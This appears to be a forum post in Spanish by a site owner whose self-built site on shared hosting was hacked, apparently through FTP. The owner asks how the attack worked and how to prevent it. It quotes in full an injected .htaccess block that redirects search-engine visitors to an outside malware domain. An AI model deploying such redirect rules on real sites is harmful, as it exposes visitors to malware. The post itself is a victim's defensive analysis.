Mi sitio ha sido hackeado y en este punto, sé algunos detalles, pero estoy en una pérdida en exactamente cómo sucedió o cómo prevenirlo en el futuro. Necesito su ayuda para tratar de diseccionar el ataque y así poder evitar que se repita. Esto es un poco largo, pero quiero asegurarme de dar suficiente información para ayudar a resolver el problema.
Esto es lo que ocurrió.
Hace unas semanas, recibí un correo electrónico de mi empresa de alojamiento, GoDaddy, diciendo que mi sitio estaba utilizando demasiados recursos y que esperaban que una consulta MySQL fuera la culpable. La consulta en cuestión era una consulta de búsqueda que tenía 5-6 términos. Tal y como lo tenía configurado, cuantos más términos se buscaban, más compleja era la consulta. No hay problema. Lo arreglé, pero al mismo tiempo, GoDaddy también cerró temporalmente mi cuenta y pasaron unos 3 días antes de que todo volviera a la normalidad.
Después de ese incidente, mi tráfico en los motores de búsqueda se redujo drásticamente, alrededor del 90%. Fue una putada, pero no le di importancia, ya que lo atribuí al fiasco de la consulta y pensé que volvería con el tiempo, cuando Google volviera a rastrear el sitio. Pero no fue así.
Hace unos días, recibí un correo electrónico de un usuario diciendo que mi sitio alojaba malware. Cargué el sitio directamente en mi navegador, pero no vi nada inyectado en la página. Entonces comprobé mi archivo .htaccess y encontré lo siguiente:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Qué bonito. Y un poco retorcido. Navegar directamente al sitio desde la barra de direcciones o un marcador, lo que suelo hacer, cargaría el sitio de forma normal. Rara vez voy a mi sitio a través de un enlace desde un motor de búsqueda, por lo que el hack pasó desapercibido todo el tiempo que lo hizo. El malware tampoco estaba alojado directamente en mi sitio.
Una búsqueda rápida mostró que otras personas también estaban teniendo el mismo problema, aunque sospecho que hay muchos más que simplemente no lo han detectado todavía. La mayoría de las recomendaciones eran actualizar a las últimas versiones del software, cambiar las contraseñas, etc.
Como utilizo mi propio sistema de gestión de contenidos y no el omnipresente Wordpress, he profundizado un poco más. Escaneé todos mis archivos en busca de las funciones comunes utilizadas en los exploits de PHP: base64_decode, exec, Shell, etc... No apareció nada sospechoso y no había archivos adicionales.
A continuación comprobé el historial del gestor de archivos de GoDaddy y descubrí que el archivo .htaccess se modificó exactamente en la misma fecha en la que mi consulta de búsqueda fue acusada de utilizar demasiados recursos del servidor. Podría ser una desafortunada coincidencia, pero no estoy completamente seguro. La redirección en el archivo .htaccess no parece consumir muchos recursos y la consulta era lo suficientemente compleja como para que pudiera haber consumido muchos recursos.
Quería estar seguro de que mi código no era el problema, así que comprobé los registros de tráfico en busca de actividad sospechosa alrededor del momento en que se modificó el archivo .htaccess, pero no vi ninguna actividad GET o POST que pareciera anormal o como un intento de hackeo.
Finalmente, solicité los registros FTP a GoDaddy y descubrí que había un acceso FTP no autorizado en el momento en que se modificó el archivo .htaccess. Yo estaba de vacaciones en ese momento, con mi ordenador físicamente apagado, y no hay nadie más con credenciales de acceso. Parece que quien hizo el FTP utilizó el usuario FTP principal de la cuenta, pero con una IP de 91.220.0.19, que parece ser de Letonia .
En el alojamiento compartido, parece que GoDaddy asigna automáticamente un nombre de usuario FTP primario basado en la URL del sitio. Es extremadamente predecible, o al menos, lo era cuando configuré mi cuenta de alojamiento. La primera vez que contraté la cuenta de alojamiento fue hace varios años, así que puede haber cambiado, pero por lo que recuerdo, no podía elegir el nombre de usuario FTP primario. Actualmente, tampoco puedes cambiar el nombre de usuario y parece que GoDaddy tampoco puede, a menos que canceles tu cuenta y renuncies. Mientras que puedes crear, eliminar y editar otros usuarios FTP, el usuario FTP primario no puede ser eliminado. Sólo se puede cambiar la contraseña.
Con la excepción del nombre de usuario FTP primario, todas las credenciales de acceso para el sitio, la base de datos, el administrador y la cuenta son un galimatías, nombres de usuario y contraseñas aleatorias que parecen que tu gato se paseó por tu teclado. Ej: ¡lkSADf32!$asJd3.
He analizado a fondo mi ordenador en busca de virus, malware, etc. por si fuera el punto débil del enlace, pero no ha aparecido nada en absoluto. Utilizo un cortafuegos, un programa antivirus y trato de utilizar hábitos de navegación seguros.
Cuando actualizo mi sitio, uso Core FTP LE y una conexión SSH/SFTP. La cuenta de alojamiento es una configuración de Linux.
Hablando con el soporte técnico de GoDaddy, no están seguros de cómo se comprometió la contraseña del FTP. En el alojamiento compartido, no pueden colocar un bloqueo de IP en el nivel de usuario FTP. Tampoco pueden cambiar el nombre de usuario FTP principal. Cuando les pregunté si tenían protección de fuerza bruta para el acceso al FTP, el técnico parecía inseguro al principio, pero luego dijo que sí lo tenían después de que se lo repitiera varias veces. Sin embargo, creo recordar haber hecho esa misma pregunta en una llamada anterior y haber escuchado que GoDaddy no tiene protección de fuerza bruta en el acceso FTP. En este momento, no sé si la tienen o no.
He cambiado todas mis credenciales de acceso en todo el tablero y también prohibí la dirección IP de Letonia utilizando el archivo .htaccess (probablemente no hará ninguna diferencia si están usando FTP), pero todavía no estoy seguro de cómo la contraseña de FTP fue comprometida para empezar.
Estoy bastante seguro de que el problema no estaba en mi código (aunque lo estuviera, la información del FTP no debería haber quedado expuesta) ni en mi ordenador. Lo que sospecho, pero no sé cómo probarlo, es que la contraseña del FTP fue forzada como el nombre de usuario era predecible. El ataque de fuerza bruta también podría haber coincidido con el agotamiento de los recursos del servidor (achacado a mi consulta), pero no conozco lo suficiente la parte técnica de los servidores para saber si eso es posible o incluso probable.
Ahora siento que estoy al final de lo que sé hacer. Me gustaría ser capaz de entender cómo se llevó a cabo el ataque y cómo prevenirlo, así que si tienes alguna otra idea sobre los vectores de ataque, los diagnósticos que se podrían ejecutar, o las medidas de seguridad adicionales, estaría muy agradecido. Estoy más que dispuesto a cambiar de host o abandonar el alojamiento compartido, pero quiero asegurarme de que puedo evitar que esto vuelva a suceder.
Ayúdame, Obi-Wan Kenobi...